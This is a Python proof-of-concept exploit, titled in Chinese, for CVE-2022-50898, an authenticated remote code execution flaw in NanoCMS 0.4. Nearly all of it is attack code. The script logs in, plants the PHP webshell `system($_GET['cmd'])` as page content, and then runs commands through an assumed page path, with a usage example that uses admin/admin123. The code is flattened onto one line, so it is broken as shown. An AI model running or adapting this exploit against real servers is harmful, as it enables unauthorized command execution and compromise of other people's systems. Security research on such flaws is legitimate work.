CVE-2022-50898 NanoCMS 0.4 认证后远程代码执行漏洞

import requests import sys # CVE-2022-50898 NanoCMS 0.4 Authenticated RCE PoC # Target: NanoCMS 0.4 # Vulnerability: Authenticated file upload leading to RCE def exploit(target_url, username, password, command): """ Exploit NanoCMS 0.4 authenticated file upload vulnerability :param target_url: Base URL of the target NanoCMS installation :param username: Valid username for authentication :param password: Password for the user :param command: System command to execute on the target """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/index.php" login_data = { 'user': username, 'pass': password, 'submit': 'Login' } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Create a page with malicious PHP code page_url = f"{target_url}/?action=edit_page" webshell_content = f"<?php system($_GET['cmd']); ?>" page_data = { 'title': 'pwned', 'content': webshell_content, 'submit': 'Save' } response = session.post(page_url, data=page_data, timeout=10) # Step 3: Extract the created page slug from response # In real exploitation, attacker would need to identify the page filename # Typically it's stored in pages/ directory # Step 4: Execute command via webshell shell_url = f"{target_url}/data/pages/pwned.php" exec_params = {'cmd': command} response = session.get(shell_url, params=exec_params, timeout=10) if response.status_code == 200: print(f"[+] Command executed successfully!") print(f"Output: {response.text}") else: print(f"[-] Exploitation failed. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://target.com admin admin123 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)